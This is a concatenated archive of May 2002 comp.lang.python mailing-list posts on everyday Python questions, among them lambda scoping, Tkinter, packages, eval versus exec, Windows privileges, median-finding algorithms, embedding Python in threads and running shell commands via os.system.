17:45:52 -0700 Subject: dynamic functions In-Reply-To: Message-ID: <004201c1fae0$b39c7c80$445d4540@Dell2> > d = lambda x: x < 10 > d = lambda x: d(x) and (x %2 == 0) > > won't work and will end up in an infinite recursion (as far as I can > figure out). I really don't understand your objective, so my advice isn't as strategic as it could be... Two (untested) ways of doing this immediately occur. The most obvious is: c = lambda x: x < 10 d = lambda x: c(x) and (x %2 == 0) Another way is: d = lambda x: x < 10 def d(x, d=d): return d(x) and (x % 2 == 0) > How do you do something like that in python? The basic problem with your original approach is that you were assuming that name resolution is done at compile time, when it is actually done at runtime. Cheers, Brian From noone at here.invalid Wed May 29 00:14:23 2002 From: noone at here.invalid (Greg Krohn) Date: Tue, 28 May 2002 23:14:23 -0500 Subject: Tkinker (sp?) References: Message-ID: "Michael Bauers" wrote in message news:uf8hdjtc2oeh27 at corp.supernews.com... [snip] > The quit button seemed to kill the 'app', but left the window up. Then I > clicked it a few more times and it shut down all open Idle windows. I was > running the script from an open window in idle using control-F5. [snip] IDLE uses Tkinter for its GUI, so when your code uses Tkinter also, they fight. Run your code from the command line and it should work. greg From whisper at oz.net Thu May 23 14:34:08 2002 From: whisper at oz.net (David LeBlanc) Date: Thu, 23 May 2002 11:34:08 -0700 Subject: Package __init__ question Message-ID: I downloaded a package - let's call it "fumble" - and when I installed it, it put itself into site-packages directly and not a sub-directory of it. Since I want to keep the site-packages directory clean, I created a subdirectory called fumble and copied all the fumble files into it. I added an empty __init__.py file and it didn't work. Only after I added the line "from fumble import *" to the __init__ file did it work. Is this the correct way that packages are meant to work? I kind of doubt it, but looking over the pythondoc failed to suggest any alternative (my solution was a lucky guess). Comments and pointers to good doc appreciated. TIA David LeBlanc Seattle, WA USA From jb at cascade-sys.com Fri May 10 03:49:18 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Fri, 10 May 2002 00:49:18 -0700 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> <821ycqjayi.fsf@acropolis.localdomain> <3CD5F1CC.A65C4AE0@engcorp.com> <3CD77BF0.49C749B2@cascade-sys.com> <3CD8B28B.C610082@engcorp.com> <3CD92111.7060704@mxm.dk> <878z6tx3fo.fsf@tower.localdomain> Message-ID: <3CDB7B7E.FC48E427@cascade-sys.com> Andrew Dalke wrote: > > I pondered for a while adding the necessary masking operations but > > decided it was not sane. I meant my first idea was to add the necessary masking ops to INTEGERS to prevent overflow and I suspect you'll agree that would have been silly, even though it might have worked. I certainly did not mean to cast aspersions on Python. Then I tried using longs but it wasn't working right off, so I gave up. It was cheaper to write off the investment to date and switch to C, which free off the web site. > Here's the (completely untested and probably incorrect Python but > close enough for the gist) [Now with my bug-fixes] > > def encipher(v, k): > low32bits = 2L**32-1 > y = v & low32bits > z = (v>>32) & low32bits > sum = 0L > delta = 0x9E3779B9L > a = k & low32bits > b = (k>>32) & low32bits > c = (k>>64) & low32bits > d = (k>>96) & low32bits > > for i in range(32): > sum += delta > sum &= low32bits > y += (z << 4)+a ^ z+sum ^ (z >> 5)+b > y &= low32bits > z += (y << 4)+c ^ y+sum ^ (y >> 5)+d > z &= low32bits > > return ( z << 32 ) | y > > Seems reasonable enough to me, and not very insane. You're right. Aside from a few bugs, I don't see why it wouldn't work. Your variables z, b and d needed to be shifted so the data is in the lower 32 bits. Delta also needed to be long, as it affects the result of "sum+=". Return result was undefined. Since + is done before ^ your translation of "+=" materially affected the computation. I tried it with those changes and it appears to work. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From Sibylle.Koczian at Bibliothek.Uni-Augsburg.de Tue May 28 06:46:50 2002 From: Sibylle.Koczian at Bibliothek.Uni-Augsburg.de (Sibylle Koczian) Date: Tue, 28 May 2002 12:46:50 +0200 Subject: Uninstall of ActivePython 2.1 / Install 2.2 not complete Message-ID: Hello, I'm using ActivePython 2.2 on a Windows 2000 machine. I uninstalled ActivePython 2.1 and installed the new version as administrator. Using it as a normal user I couldn't start my scripts from the Windows Commander as before, and they appeared without their icon. Searching the registry I found lots of keys in HKEY_CURRENT_USER pointing to the directory of the old, deleted Python version. Changing them to the new directory did the trick; but I think they should have been deleted at uninstall time, for all users, not only for the installing administrator. What's the matter? Is it an uninstall or an install problem? Thank you, Koczian -- Dr. Sibylle Koczian Universitaetsbibliothek , Abt. Naturwiss. D-86135 Augsburg Tel.: (0821) 598-2400, Fax : (0821) 598-2410 e-mail : Sibylle.Koczian at Bibliothek.Uni-Augsburg.DE From pyth at devel.trillke.net Fri May 10 11:51:44 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 10 May 2002 17:51:44 +0200 Subject: lists + string In-Reply-To: ; from iwaters@btclick.com on Fri, May 10, 2002 at 05:29:40PM +0100 References: Message-ID: <20020510175144.D25906@prim.han.de> ian wrote: > hi started to learn python this week > and my lecturer threw us in the deep end > and asked us to write a mail server.. oh well check the 'smtpd' mail server module :-) > anyway in the program i read in some input from the user > > input = str(raw_input ......... > > how do i compare it to an element in a list?? > > ive tried > > for x in list > if input == x:print 'found item' if x in stringlist: print "yes,",x," is in",stringlist # additionally get the index... index = stringlist.index(x) have fun, holger From noah at noah.org Thu May 2 21:59:50 2002 From: noah at noah.org (Noah Spurrier) Date: Thu, 2 May 2002 18:59:50 -0700 Subject: Message queueing References: Message-ID: <019d01c1f246$365e5970$0400a8c0@saysyou> Message queueing You could also roll your own using Sendmail or qmail or some other mail server. That at least gets you a the transport layer. You would then have to add an interface for Python or XML-RPC -- and feed mail server error logs back into your system. It's easier than it sounds. We did something like this at BlueLight (K-Mart) -- of course, maybe that is a bad example ;-) But it worked; it was easy to use and fix; and easy to figure out how it was working -- unlike a horrible Java wrapped MQ-Series thing they also made us use. Your XML-RPC to Jython/JMS bridge thing sounds elegant compared to my idea. Unless you find a better Message Queue then I think that's your best bet. An XML-RPC interface to JMS almost sounds like a product. It's sad, but the importance of message queues does not seemed to have been picked up by the open source community. As far as I can tell there are no open source message queues... I don't have a job, maybe someone wants to help me write one :-) Yours, Noah ----- Original Message ----- From: Etienne Labuschagne To: Python List (E-mail) Sent: Thursday, May 02, 2002 4:22 AM Subject: Message queueing Hi all, I am new to this group and could not find an answer after a Google search, so please bear with me if this question was already asked. I need to build a distributed app and I am wondering which message queue to use and if anyone has any experience with interfacing to them in general. I have played around a bit with Microsoft's using pythonwin to connect to the COM objects and although this works, I want to be platform independent if at all possible. I am looking into using JMS (Java Message Queue) using Jython and this seems to be a viable alternative. I do not want to be restricted only to Jython as my preference lies with using Python (CPython). How am I going to get CPython to talk to something written in Java? So far I have created an XML-RPC "bridge" so that my CPython code can talk to my Jython based JMS connector. This entails creating an XML-RPC server on both sides (for calls and call-backs) but this feels a bit kludgey. Any suggestions? Thanks Etienne From brian at sweetapp.com Mon May 6 16:24:05 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Mon, 6 May 2002 13:24:05 -0700 Subject: ANN: Pyana 0.4.5 Message-ID: <002a01c1f53b$f82626d0$445d4540@Dell2> Pyana is a XSLT transformation system for Python, based on the Apache Group's Xalan processor. It combines the speed and compliance of the Xalan XSLT processor with convenient access from Python. Key features include: 1. The ability to transform documents from a variety of sources, including URIs, "reader" objects (e.g. Python file objects, StringIO objects) and strings. 2. The ability to extend the XPath language with functions written in Python. 3. Operation completely within the Python process for low overhead. This release adds the following features and fixes: 1. Stylesheets can be precompiled for better performance 2. Source documents can be pre-parsed for better performance 3. Custom entity resolvers can be installed. An entity resolver is a class that can map a URI into a stream. For example, you could use this feature to read your documents from a compressed archive (I've written an example along these lines). 4. Fixed a small memory leak in transformToString 5. More efficient reading of XSL documents from reader objects The Pyana website is at: http://pyana.sourceforge.net You might want to start by looking at the examples: http://pyana.sourceforge.net/examples/ Cheers, Brian From johnroth at ameritech.net Sun May 26 08:22:06 2002 From: johnroth at ameritech.net (John Roth) Date: Sun, 26 May 2002 08:22:06 -0400 Subject: Backwards emulation rather than backwards compatibility? References: <3CEF8E04.6040909@ix.netcom.com> Message-ID: "Neil Hodgson" wrote in message news:NyVH8.177231$o66.530359 at news-server.bigpond.net.au... > John Roth: > > > Also, it should be possible to mix levels in one program, > > the limitation being that any one module is interpreted > > under one set of rules. > > Some of the language changes affect communication between modules. How do > you deal with changes in the language that affect the interface provided by > one module and consumed by another with a different language level? Say I > have some 1.52 code that uses introspection and point it at a 2.2 module > that uses the new property support? It must return what the 1.5.2 code expects. > Or a 1.52 module asked to deal with > Unicode? It would probably fail, since 1.5.2 doesn't support Unicode. Of course, there are some methods on a unicode string (such as __len__) that would work, but in general, if the method didn't exist, why is the old code calling it? > While most dependencies are of the form of new code using old code, it is > common for this use to include subclassing old code and other forms where > 'use' is really bidirectional. > > To me, providing a language level feature looks like a huge time sink, > with a need for exhaustive pairwise (at least!) cross level testing. > > Neil > > > From quitelikely at yahoo.com.au Sat May 4 21:54:14 2002 From: quitelikely at yahoo.com.au (Patrick W) Date: 05 May 2002 11:54:14 +1000 Subject: Python vs. Perl, which is better to learn? References: Message-ID: <82bsbvl5q1.fsf@acropolis.localdomain> peter at abbnm.com (Peter da Silva) writes: > [...] The problem is that adding new features over time to a > language that wasn't designed for that kind of extension is going a > more complex system than you would get if you had started out with a > design that had them in mind or had mechanisms that let you extend > it naturally. One of the (huge) (potential) advantages I see in the .NET framework, in spite of its unfortunate progeny, is that, with the ability to write the truly performance critical stuff in C wrapped in C#, you get a lot of the benefits of C++ without half the cruft of either the C++ language or the fiddliness of COM. (And you get a whole lot more besides). Seems to me that C -> C# -> [Python / Lispy language] could facilitate a *really* nice layered approach. I just hope this possibility isn't sabotaged by political/legal issues, and becomes a genuine multi-platform solution. On that note, does anyone know of efforts to make Python run on the Mono implementation of .NET? From python at rcn.com Tue May 28 17:19:49 2002 From: python at rcn.com (Raymond Hettinger) Date: Tue, 28 May 2002 17:19:49 -0400 Subject: variable X procuct - [(x,y) for x in list1 for y in list2] References: <1022619068.34271@newsmaster-04.atnet.at> Message-ID: def CartesianProduct(*args): ans = [()] for arg in args: ans = [ list(x)+[y] for x in ans for y in arg] return ans print CartesianProduct([1,2], list('abc'), 'do re mi'.split()) Raymond Hettinger "steindl fritz" wrote in message news:1022619068.34271 at newsmaster-04.atnet.at... > hi list, > > first - maybe sombody can help me with the english expression for the > german word 'kreuzprodukt' - this my question is dealing with > > ----------------------------------------------- > > example - > > list1 = [1, 2] > list2 = [a, b, c] > > [(x,y) for x in list1 for y in list2] > > the result is the "kreuzprodukt" > [(1,a), (1,b), (1,c), (2,a), (2,b), (2,c)] > > ----------------------------------------------- > > question - > > i need to keep the number of lists variable > > e.g. the next case should handle three lists > > [(a1, a2, a3) for a1 in list1 for a2 in list2 for a3 in list3] > > i cannot put variables into this algorythm or they don't do what i expect > maybe there is a simple solution, but i cannot find it > > > > > fritz > (-:fs) > From Simon.Budig at unix-ag.org Mon May 27 12:38:31 2002 From: Simon.Budig at unix-ag.org (Simon Budig) Date: 27 May 2002 17:38:31 +0100 Subject: eval vs. exec References: <3cf232b4@si-nic.hrz.uni-siegen.de> Message-ID: <3cf252f7@si-nic.hrz.uni-siegen.de> Alexander Schmolck wrote: > Simon Budig writes: > > The distiction is quite simple: use eval for expressions and exec for > everything else. That of course only works if you know what qualifies as an > expression in python :) I think I do know what an expression is - what I do not know is how to determine the type to use from a string given by an external source. [...] > for the other cases a not completely horrible way to do it is: > > namespace = {} > exec "a=2; b=3; result=a*b" in namespace > result = namespace["result"] The strings are from an external source, so I have no control over them. > Of course using eval or exec is usually not a good idea, because it creates a > huge security risk -- A better approach would be to parse the expression or at > least make sure it only contains harmless things before you exec/eval it. I think I took quite good care of it by making sure that before I eval/exec something the mathdict["__builtins__"] = {}. In the real code I also have a runtime control so that "100L**(100L**100L)" would not virtually stop the program. > BTW: this > >> except: > > is almost always a bad idea. You should explicitly test for the Errors you are > expecting like so: > > except SyntaxError: > > because otherwise bugs you didn't expect might go unnoticed. I do know about this, but this is definitely necessary because otherwise it would be possible to crash the program via "raise 'foo'". Thanks, Simon -- Simon.Budig at unix-ag.org http://www.home.unix-ag.org/simon/ From seth at jtan.com Mon May 20 22:27:43 2002 From: seth at jtan.com (Seth Delackner) Date: Tue, 21 May 2002 02:27:43 GMT Subject: mod sound file editing library? Message-ID: <84ptzq44mc.fsf@jtan.com> Could someone please suggest a library that will allow me to generate mod files? Any mod format will do, or perhaps midi with custom sound samples replacing specific instruments. I have found lots of gui editors, but I am writing a song editing program and it seems a waste to develop yet another song format. * Instruments have to be samples (thus MOD/XM/...). * cross platform: at least Win / OS X. * I'm writing in Python, but I would be happy to find a C/C++ library even if I have to write the python wrapper for it. From mhammond at skippinet.com.au Thu May 23 02:41:30 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Thu, 23 May 2002 06:41:30 GMT Subject: win32 all question, win32security, impersonation References: Message-ID: <3CEC8F6F.8020503@skippinet.com.au> Syver Enstad wrote: > I was fiddling around with mount points on win2k (using windll) the > other day, and discovered that I had to be administrator to delete The next version of win32file has support for this ;) > mount points but only a super user to create them. Anyway, for fun I > decided to check out the win32 api on how to logon as a different user > while executing a program, I checked out the overview section on > impersonation in the win32 all documentation, and it said that I had > to obtain some privileges to be able to call the LogonUser function > with any luck. I then proceeded to obtain the necessary privileges in > my program using the sample code from the book *Python Programming on > win32* by Hammond and Robinson. I succeed in obtaining one of the > necessary privileges but as soon as I add the remaining privilges, the > call to adjust privileges fail with: > > pywintypes.api_error: (1300, 'MyAdjustTokenPrivileges', > 'Not all privileges referenced are assigned to the caller.') MSDN documents that this error code may be returned from GetLastError(), even when the function succeeds. It appears this error is informing you that it didn't actually need to enable the privilege, or something like that ;) I have fixed win32security to ignore that error code (as many online C++ samples do) - you can always call GetLastError() yourself to get the error code :) In the meantime you should be able to simply ignore the exception if the error code portion is winerror.ERROR_NOT_ALL_ASSIGNED Mark. From wyojustin at hotmail.com Tue May 21 20:50:19 2002 From: wyojustin at hotmail.com (Justin Shaw) Date: Wed, 22 May 2002 00:50:19 GMT Subject: formatter output to list References: Message-ID: Seems like option 2 is the easiest. You don't need to know any internals of AbstractWriter. It looks like the writer passes pretty small chunks. Here is the barebones example. import htmllib import formatter class Catcher: def __init__(self): self.lines = [] def write(self, line): self.lines.append(line) def __getitem__(self, index): return self.lines[index] def html2txt( fh ): oh = Catcher() p = htmllib.HTMLParser( formatter.AbstractFormatter(formatter.DumbWriter(oh))) p.feed(fh.read()) return oh def __test__(): txt = html2txt(open(r'c:\temp\junk.html')) for line in txt: print line, "John Hunter" wrote in message news:m2u1p11nor.fsf at mother.paradise.lost... > > I have a urlopen file object that I am passing to formatter DumbWriter > to strip the html > > def html2txt( fh ): > oh = open('temp.out', 'w') > p = htmllib.HTMLParser( > formatter.AbstractFormatter(formatter.DumbWriter(oh))) > p.feed(fh.read()) > > I am then doing some post processing on the file 'temp.out'. > > Rather than communicating via the file 'temp.out', I want the > DumbWriter to return a list of lines. I see two solutions: derive a > new class from AbstractWriter or pass a list like object which > implements the necessary file object methods to html2txt and have that > func return the modified object. > > Suggestions? > Thanks, > John Hunter From cbbrowne at acm.org Wed May 8 00:30:33 2002 From: cbbrowne at acm.org (Christopher Browne) Date: Wed, 08 May 2002 00:30:33 -0400 Subject: What makes code "readable"? (was Re: Python vs. Perl, which is better to learn?) References: <20020507000637.23324.92190.Mailman@mail.python.org> Message-ID: The world rejoiced as Peter wrote: > In article , cbbrowne at acm.org > says... > >> And this points back to Leo Brodie's _Thinking Forth_, where the >> crucial concept is that coming up with good _names_ for functions is >> the most important thing... > > As someone who teaches programming, I've observed that the students who > have a good grasp on what they are doing tend to choose appropriate > names for things while the students who are clueless tend to use names > like "x", "y", "y2", and so forth. The usual conclusion is that the > student who chooses poor names does so because he/she doesn't understand > what the program is doing and thus can't think of anything better. Yet I > would turn that around and say that if the student worked on coming up > with good names it would help clarify the program for him/her. I tell my > students this, of course, but it doesn't always help. I'll often use quite horridly short names, initially; it's easy enough to do a search and replace to fix that. That mandates having the _discipline_ to do so... > In any case, I'd love to teach a class using Python. I like Python's > elegant regularity. I really like the way it forces the programmer to > indent properly (I can't tell you how many rants I've given my students > about indentation). Alas, right now we give our students Perl because > Perl is seen as a language they are more likely to encounter. Python is > currently considered "exotic" in my department... something only a > quirky person like me could get into. > > I will say that the students love Perl... but that's probably because > their prior programming experience is all C and C++. :-) Ruby's also worth a look, although it's more "obscure" than Python. I've fiddled with it a bit lately and it's not bad. My comparison would be that Ruby's a version of Smalltalk that: a) Stores code in files, and b) Uses syntax resembling either Perl, without most of the fruitsalad of punctuation, or one of the modern Pascal variants like Ada or maybe Eiffel. It's really "in your face" in its "objectness," rather like Smalltalk. _EVERYTHING_ is an object; that's where it all starts and ends... -- (concatenate 'string "cbbrowne" "@acm.org") http://www3.sympatico.ca/cbbrowne/sap.html "My dog appears to require more PM than my car, although he also seems to be cheaper to service." -- GSB From jochen at jochen-kuepper.de Tue May 21 00:35:42 2002 From: jochen at jochen-kuepper.de (Jochen =?iso-8859-1?q?K=FCpper?=) Date: 21 May 2002 00:35:42 -0400 Subject: Threading unfairness References: <3CE79FA1.BEECAFE8@engcorp.com> <3CE9CC8F.4D1984B9@engcorp.com> Message-ID: On Tue, 21 May 2002 00:26:55 -0400 Peter Hansen wrote: Peter> Jochen K?pper wrote: >> On Linux the resolution of select is depending on the HZ kernel config >> variable. On x86 it is (standard-wise) 100 (Hz), giving you 10 ms. Peter> So does that mean that while time.sleep(0.01) really sleeps for 10 ms, Peter> time.sleep(0.001) translates to a "yield", or does it round up to Peter> the next tick? (Or if you'd rather teach me how to fish, where's Peter> a good place (please don't say "the source" ;-) to find this out myself? I'd say you would look up the kernel source; or maybe glibc is good enough... :)) Am not sure. The man-page says that 'timeout' is an upper bound, but I think that is sloppy. I seem to remember that it always waits at least one scheduler cycle on a blocking call. Ask a guru, though. Greetings, Jochen Ps: Since you don't like Luke the source, Stevens book(s) on IPC might be a good source for this kind of stuff. (Sorry, my copies are ~6000 km away.) -- Einigkeit und Recht und Freiheit http://www.Jochen-Kuepper.de Libert?, ?galit?, Fraternit? GnuPG key: 44BCCD8E Sex, drugs and rock-n-roll From mfranklin1 at gatwick.westerngeco.slb.com Thu May 16 05:41:52 2002 From: mfranklin1 at gatwick.westerngeco.slb.com (Martin Franklin) Date: Thu, 16 May 2002 09:41:52 +0000 Subject: tkinter grid control In-Reply-To: References: Message-ID: <200205160842.g4G8g2X13949@helios.gatwick.geco-prakla.slb.com> On Wednesday 15 May 2002 6:30 pm, David LeBlanc wrote: > Is there one? If so, where can I find it? There is Tktable http://sourceforge.net/projects/tktable with python bindings.... http://starship.python.net/crew/pgodman/ Cheers Martin From warlock at eskimo.com Tue May 14 01:50:27 2002 From: warlock at eskimo.com (Jim Richardson) Date: Mon, 13 May 2002 22:50:27 -0700 Subject: which db should I use? References: <3CDF3C5D.78B73EE0@engcorp.com> <3CE0554E.7EA96EB1@engcorp.com> <3CE06727.A360A89F@engcorp.com> Message-ID: <3j8qba.pl1.ln@127.0.0.1> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Mon, 13 May 2002 21:23:51 -0400, Peter Hansen wrote: > Jim Richardson wrote: >> >> > No need to use grep, unless you want to. Normally you would want to >> > index the files, so that a search for key words becomes an extremely >> > fast operation. Even in a database... >> >> wouldn't this be simply doing a db like approach? how would I go about >> learning about this in python? I wouldn't mind not having to have a few >> hundred MB of data in the newsspool *and* in some database. Would it be >> possible to simple have an "index" file that would give me the same >> search functions as SQL, seperate from the actual spool? > > I'm not sure. What's a newsspool? :-) > Leafnode, the newsserver I use, maintains the posts each in a single file, in a directory for each newsgroup. I have collected about 6 months worth of posts for a newsgroup, and I wish to be able to retrieve posts that fit certain criteria, such as all posts by so and so, where the subject includes fnord, or all posts between certain dates where the word fooble was mentioned. I know this is basically what google groups does, but I want it locally for a single newsgroup. My first idea was a db table with each message being a row (I *think* I have the terminology right) But I suspect indexing the existing files might be just as effective, and take up less space. > I would not normally think that "searching text" is the first thing > that comes to mind when one thinks of SQL and relational databases. > A full-text indexing application, on the other hand, sounds like what > you want. I'm sure there are some notes on using Python for that > somewhere... I will be checking parnasus & etc later. > > What parts of SQL do you expect to use to do this searching? Maybe > that will give us a hint what you have in mind, and ideas whether > there might be a better approach. > > (I'm sure SQL can do something like this, but it might be little > better performance-wise than doing "if item in list" turns out > to be in Python... that is, very slow since it just does a > brute-force search from start to finish.) > > -Peter I would also like to get some familiarity with SQL but that is a secondary issue and I can allways do that in another project. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE84KWjd90bcYOAWPYRAkRNAJ95U4hijb04UnE6HB4k+3q7vvWvHwCgul/A LqbjnV5o6tVmhdz5dPWuDqA= =8SpD -----END PGP SIGNATURE----- -- Jim Richardson Anarchist, pagan and proud of it http://www.eskimo.com/~warlock Linux, from watches to supercomputers, for grandmas and geeks. From tim.one at comcast.net Sun May 5 05:22:04 2002 From: tim.one at comcast.net (Tim Peters) Date: Sun, 05 May 2002 05:22:04 -0400 Subject: Newbie: finding the key/index of the min/max element In-Reply-To: <74rA8.41449$8D3.1220071@news1.tin.it> Message-ID: [David Eppstein] > ... > I'm pretty sure it would usually be better just to sort the list and > return the middle item, instead of using a linear-time median > finding algorithm, despite the nonlinear big-O time of a sort. Many years ago I had to write a linear-time selector in Pascal. It was so horridly painful I never tried it again. But I'm old enough now to confront my fears , so I tried it in Python, and was pleasantly surprised at how easily it went. Its performance isn't bad, considering it's written in Python, and how much effort went into speeding Python's C sort. Here are the seconds each took for finding the median of various sizes of arrays of random doubles (these are the means of 3 runs at each size): n clever sort ------- ------ ------ 2 0.000 0.000 3 0.000 0.000 5 0.000 0.000 9 0.000 0.000 17 0.000 0.000 33 0.000 0.000 65 0.001 0.000 129 0.002 0.000 257 0.002 0.000 513 0.004 0.001 1025 0.008 0.002 2049 0.018 0.004 4097 0.037 0.009 8193 0.088 0.020 16385 0.166 0.047 32769 0.303 0.106 65537 0.638 0.236 131073 1.276 0.528 262145 2.579 1.152 524289 5.245 2.523 1048577 10.674 5.460 2097153 22.063 11.863 I got bored then. This is using -O with current CVS Python, which is somewhat zippier than currently released Pythons. For contrast, the Python version doesn't take much longer to find the median than it takes just to fill the array with random doubles (random.random() is coded in Python too). There are obvious but unpleasant ways to speed the Python version (it does a lot of data copying), which I'll skip. exorcising-old-demons-ly y'rs - tim # Find the rank'th-smallest value in a, in worst-case quadratic time. def short_find(a, rank): a.sort() return a[rank - 1] # Find the rank'th-smallest value in a, in worst-case linear time. def find(a, rank): n = len(a) assert 1 <= rank <= n if n <= 7: return short_find(a, rank) # Find median of median-of-7's. medians = [short_find(a[i : i+7], 4) for i in xrange(0, n-6, 7)] median = find(medians, (len(medians) + 1) // 2) # Partition around the median. # a[:i] <= median # a[j+1:] >= median i, j = 0, n-1 while i <= j: while a[i] < median: i += 1 while a[j] > median: j -= 1 if i <= j: a[i], a[j] = a[j], a[i] i += 1 j -= 1 if rank <= i: return find(a[:i], rank) else: return find(a[i:], rank - i) def tryone(n, tries): from random import random from time import clock as now x = [None] * n median_rank = (n+1) // 2 sum1 = sum2 = 0.0 for i in range(tries): for i in xrange(n): x[i] = random() y = x[:] start = now() got1 = find(x, median_rank) elapsed = now() - start sum1 += elapsed start = now() got2 = short_find(y, median_rank) elapsed = now() - start sum2 += elapsed if got1 != got2: print "OUCH got1 %r got2 %r" % (got1, got2) return sum1, sum2 def drive(tries): for i in range(23): n = 2**i + 1 fast, slow = tryone(n, tries) print "%8d %7.3f %7.3f" % (n, fast/tries, slow/tries) if __name__ == "__main__": drive(3) PS: If you're more interested in expected time than worst-case time, replacing the median-of-median-of-7s business with median = short_find([a[0], a[-1], a[n//2]], 2) yields a Python median-finder that's usually significantly faster than the sort method starting in the range of 512K to 1M elements. PPS: If you do care about worst-case time, the Python version can be made significantly faster by boosting the median-of-7 gimmick to median-of-k for larger odd values of k. Fun for the whole family: plot speedups against k until you're all baffled . From terjej at mailandnews.com Thu May 23 18:23:03 2002 From: terjej at mailandnews.com (Terje Johan Abrahamsen) Date: 23 May 2002 15:23:03 -0700 Subject: exe Message-ID: <1e140f34.0205231423.26a1ed28@posting.google.com> Is there any way to make .exe files out of Python, that doesn't create such humongous files as py2exe does? A little popup box with a message demands about 2.5 mb of hd space. Or is that the price to pay? From martin at v.loewis.de Tue May 14 16:51:12 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 14 May 2002 22:51:12 +0200 Subject: Multibyte Character Surport for Python References: <877kmag92g.fsf@tleepslib.sk.tsukuba.ac.jp> <83g00vgo9c.fsf@panacea.canonical.org> Message-ID: bokr at oz.net (Bengt Richter) writes: > ISTM a grammar defining the composition of a multi-encoded file would > make things a lot clearer. What editor supports this kind of format? > I think it is good to remember that a Python program is (or at least > I consider it as such) an abstract entity first and variously > represented second. While this is true, a Python source code file is something very specific, not something abstract. > Abstract token sequences and visible glyph sequences and binary > coded representations all have roles, but it is easy to smear the > distinctions when thinking about them. Localization should IMO not > alter abstract semantics. And indeed, it doesn't - the byte code format is not at all affected by the PEP. > The possibility of dynamically generating source text and eval- or > exec-ing it is something to consider too. For that, I recommend to use Unicode objects - those don't have any encoding issues. Regards, Martin From bl at netgroup.dk Thu May 30 02:28:41 2002 From: bl at netgroup.dk (Bo Lorentsen) Date: 30 May 2002 08:28:41 +0200 Subject: Embedding and threads ? In-Reply-To: References: Message-ID: <1022740121.689.25.camel@netgroup> On Wed, 2002-05-29 at 15:38, Martin v. L?wis wrote: First, thanks four your swift answer ! > > Now is this possible ? > > Yes, but you need to make additional modifications. Thanks, I have been reading some more in the meantime, and even in the source code too. > > Will each python code run separatly, in issolated environments ? > > No. Even if you manage to separate the interpreters, you will still > get a single copy of the global variables. Hmm, how about this when you are using the PyEval_EvalCode ? One of its parameters is a global dict. Is this not separated 100 % from others ? > > Will it coredump ? > > Most likely. You need to acquire the Global Interpreter Lock before > executing each piece of code. This I need to be able to swap the Python thread state, and its related interpreter, in a thread safe way ? For me it look like we would like an extended API taking the PyInterpreter as first parameter (this pointer :-), as the code in PyEval_EvalCode more or less do this by fetching the "globaly set" PyInterpreter (ThreadState). > > > Can I control what the python code is allowed to import, and where > > stdout/err/in is directed ? > > Certainly. To restrict imports, I recommend to compile and execute > code fragments inside an rexec sandbox. Alternatively, since you are > embedding Python, you could also disable dynamic loading of modules, > and provide a fixed modules table in your executable. What do you mean by a "rexec sandbox" ? How do I "disable dynamic loading" ? Is it possible to have some kind of module import callback, where I can decide what to allow and what not to. I like to permit the user to use math, re and others, but he must not be able to open files, sockets, databases etc. > To control stdout/err/in, you need to assign to > sys.stdout/err/in. This won't catch direct references to stdout from C > code, which should be rare - if you ever trigger one of those in the > Python core, you should report that as a bug. So, what I do is to fetch these three, and setup another file handler ? Will it be possible to totally disable these ? And where will "print" in this case send its default output ? > > Are there any other way of controlling the execution environment of > > earch thread, like getting a kind of execution context thingy ? > > This is what you need to do: each thread must maintain a Python thread > state, and the thread must hold the GIL. What is GIL ? Another thing. While using the "Py_CompileString", it has the third parameter, that I can't find much information about. It seems like a way to control what to compile, but I don't quite understand what and why. I use "Py_file_input", as this work for me, but I don't quite understand why. Can you help me on that ? /BL From erict at millfilm.co.uk Wed May 29 13:28:14 2002 From: erict at millfilm.co.uk (Eric Texier) Date: Wed, 29 May 2002 18:28:14 +0100 Subject: create a tmp file for system execution References: <3CF4E711.8A175798@millfilm.co.uk> Message-ID: <3CF50FAE.EC6EF40F@millfilm.co.uk> Thanks, building a string with ; was the best for what I needed. I started to play with os.tmpnam() etc. and it wasn't really straightforward. Donn Cave wrote: > Quoth Eric Texier : > | I have a py script executing a bunch of os.system in a loop. > | It is not very fast and I was wondering if it will not be better > | to recreate a execution file. > | > | My 2 questions: > | > | 1) what is faster for a big number of call > ... > | os.system("csh -c 'source tmpFile' ") > | os.system("rm -f tmpFile") > > You've already gotten some good answers, and you can answer > your own questions pretty easily just by trying the things > you propose to do. Here are two more points: > > - this takes 4 seconds "wall clock" time on my computer: > import os > import string > > s = ['ls something somethingelse']*2000 > s.append('exit 17') > s = string.join(s, '; ') > t = os.system(s) > > (I added the "exit 17" just so I'd have some way to verify that > it really did everything.) > > - If you have a file of commands, you don't need to "source" it, > you can invoke the shell directly on the file - it's a "script". > > - Never use csh if you can avoid it, it's the worst of shells. > The system() function uses "sh", and that's the right choice for > most applications. > > - I'm assuming a UNIX platform. > > Donn Cave, donn at u.washington.edu From duncan at NOSPAMrcp.co.uk Wed May 8 05:30:03 2002 From: duncan at NOSPAMrcp.co.uk (Duncan Booth) Date: Wed, 8 May 2002 09:30:03 +0000 (UTC) Subject: taglibs equivalent in Python References: Message-ID: "Ragu Bharadwaj" wrote in news:mailman.1020811585.15566.python-list at python.org: > Is it possible to implement custom tags within Zope? (to implement > taglibs like functionality) > The answer is yes, it is quite easy to add custom tags to Zope DTML. Whether it is advisable is another matter entirely. See http://www.zope.org/Members/z113/1 for instructions. Most new Zope development these days uses presentation templates to generate HTML/XML instead of the older DTML (although DTML still has uses for other document types). Zope presentation templates do almost everything with attributes instead of tags, so adding new tags is probably not easy in the ZPT world. -- Duncan Booth duncan at rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From gh_pythonlist at gmx.de Fri May 24 19:29:18 2002 From: gh_pythonlist at gmx.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Sat, 25 May 2002 01:29:18 +0200 Subject: [newbie] Is Python what I'm looking for? In-Reply-To: 